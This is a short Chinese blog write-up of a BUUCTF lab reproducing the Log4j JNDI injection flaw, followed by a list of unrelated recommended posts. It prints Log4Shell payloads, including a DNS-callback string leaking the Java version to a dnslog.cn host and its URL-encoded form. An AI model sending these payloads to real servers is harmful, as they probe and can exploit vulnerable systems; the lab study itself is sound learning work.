buuctf漏洞复现之log4j

前言:

发现自己不会挖掘漏洞,遂学习常见漏洞复现

思考:

什么是log4j,是apache下的java应用常见的开源日志库,也就是java语言,中间件为apache

内容:

{jndi:ldap://{sys:java.version}.gf3q2v.dnslog.cn}

dnslog获取的域名

发现有传入参数,于是在网上找了可以传入dnslog的域名

{jndi:ldap://{sys:java.version}.gf3q2v.dnslog.cn

但是400错误了,于是在网上找了400错误是什么。那就是服务器处理不了的请求,

参考解析HTTP错误码400 Bad Request及其常见原因与解决方法-CSDN博客

复制代码
1xx:信息,表示服务器已接收到请求并且正在处理。
2xx:成功,表示服务器成功处理了请求。
3xx:重定向,表示需要进一步操作以完成请求。
4xx:客户端错误,表示服务器无法处理请求。
5xx:服务器错误,表示服务器在处理请求时发生了错误。

我在网上好像看到答案了,说是400错误是由于,客户端传输过程中进行解码了

我的猜想是对的,但是不是用那个payload解的,

发现那个payload也可以,我看网上多写了空格!!!也是需要url编码的

推荐网站CTF在线工具-CTF工具|CTF编码|CTF密码学|CTF加解密|程序员工具|在线编解码

{jndi:ldap://{sys:java.version}.gf3q2v.dnslog.cn}

是用这个${jndi:ldap://xyr4kk.dnslog.cn}

但是要编码,编码之后为

复制代码
%24%7Bjndi%3Aldap%3A//xyr4kk.dnslog.cn%7D
相关推荐
风送雨1 天前
八周Python强化计划(八)
开发语言·python·log4j
_OP_CHEN1 天前
【测试理论与实践】(八)吃透测试分类(下):阶段 + 执行 + 组织 + 地域,测试全维度分类指南
自动化测试·软件测试·测试开发·安全·log4j·测试开发工程师·测试分类
小代码20164 天前
loki 环境搭建
spring boot·docker·log4j·grafana
企鹅侠客4 天前
第07章—实战应用篇:List命令详解与实战(下)
windows·redis·log4j·list
小肖爱笑不爱笑6 天前
Maven
java·log4j·maven
垚森9 天前
【问题解决】关于log4j与logback依赖冲突的解决方案
log4j·logback·问题解决·依赖冲突
GA6666669 天前
2026 年自托管 Wiki 推荐:为什么选择 PowerWiki
人工智能·log4j·blog·wiki
cike_y11 天前
Mybatis之分页的实现&日志工厂&Log4j详解
数据库·log4j·mybatis
Lisonseekpan12 天前
RBAC 基于角色的访问控制模型详解与实践指南
java·服务器·网络·后端·spring·log4j
川石课堂软件测试12 天前
软件测试的白盒测试(二)之单元测试环境
开发语言·数据库·redis·功能测试·缓存·单元测试·log4j